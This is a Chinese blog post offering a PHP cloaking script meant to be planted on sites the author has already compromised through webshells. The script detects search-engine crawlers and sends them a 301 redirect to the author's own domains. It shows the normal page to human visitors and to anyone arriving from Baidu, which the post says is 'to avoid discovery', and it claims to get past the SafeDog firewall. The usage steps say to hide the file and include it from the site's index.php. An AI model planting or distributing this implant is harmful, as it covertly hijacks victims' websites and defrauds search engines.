• 判断百度蜘蛛偷偷进行转移权重301,给新站提权


      放假了,在家没事做新站,因为没啥权重,打算抓几个webshell站进行转移新站,给新站提权重。所以写了一个301转移php代码,可以判断蜘蛛进行跳转301,用户访问不会跳转,这样就可以防止被发现的概率!

       功能说明:

       1.判断蜘蛛跳转
       2.支持多个域名随机跳转
       3.判断百度搜索进去不进行跳转(防止被发现)
       4.正常浏览器访问不跳转
       5.过安全狗防护

    使用方法:
       以下代码新建为:useragent.func.php(可以放在隐蔽的地方)
       然后在你网站程序核心函数,例如:dedecms动态页面可以在:index.php  进行引入自己新建的代码为: require_once (dirname(__FILE__) . "/useragent.func.php");

    <?php
    
    error_reporting(E_ALL^E_NOTICE^E_WARNING);
    $xieyi="http://";
    function checkrobot($useragent=''){
    		static $kw_spiders = array('bot', 'crawl', 'spider' ,'slurp', 'sohu-search', 'lycos', 'robozilla');
    		static $kw_browsers = array('msie', 'netscape', 'opera', 'konqueror', 'mozilla');
     
    		$useragent = strtolower(empty($useragent) ? $_SERVER['HTTP_USER_AGENT'] : $useragent);
    		if(strpos($useragent, 'http://') === false && dstrpos($useragent, $kw_browsers)) return false;
    		if(dstrpos($useragent, $kw_spiders)) return true;
    		return false;
    }
    function dstrpos($string, $arr, $returnvalue = false) {
    		if(empty($string)) return false;
    		foreach((array)$arr as $v) {
    				if(strpos($string, $v) !== false) {
    						$return = $returnvalue ? $v : true;
    						return $return;
    				}
    		}
    		return false;
    }
    //网址随机输出,可以填写多个随机输出转移权重的网址
    $url[0] = "http://demoo1.com";
    $url[1] = "http://demoo2.com";
    $url[2] = "http://demoo3.com";
    $url[3] = "http://demoo4.com";
    $url[4] = "http://demoo5.com";
    $url[5] = "http://demoo5.com";
    srand ((double)microtime()*1000000);
    $randomnum = rand(0, count($url)-1);
    if(checkrobot()){
    	Header("Location:$url[$randomnum]"); 
    				header('HTTP/1.1 301 Moved Permanently');
    				header("Location:$url[$randomnum]");	
    				exit;
    }
    //判断的是百度,如果是百度点击进去就不跳转,防止被发现
    if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com"))
    {         
    			$file = file_get_contents( $xieyi.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);          
    				echo $file;
    				exit;
    	exit;      
     }
    ?>
    

      

  • 相关阅读:
    【转载】Unity 合理安排增量更新(热更新)
    COCOS2D 释放资源的最佳时机
    【转载】利用Unity自带的合图切割功能将合图切割成子图
    用GL画出人物的移动路径
    使用行为树(Behavior Tree)实现游戏AI
    C#学习笔记
    题目:给定一数组 例如:a = [1,2,3,5,2,1] 现用户提供一个数字 请返回用户所提供的数字的所有下标
    算法: 归并排序
    题目:给定两个有序数组,对其进行合并
    数据结构 顺序表实现优先队列 回顾练习
  • 原文地址:https://www.cnblogs.com/68xi/p/12234483.html
Copyright © 2020-2023  润新知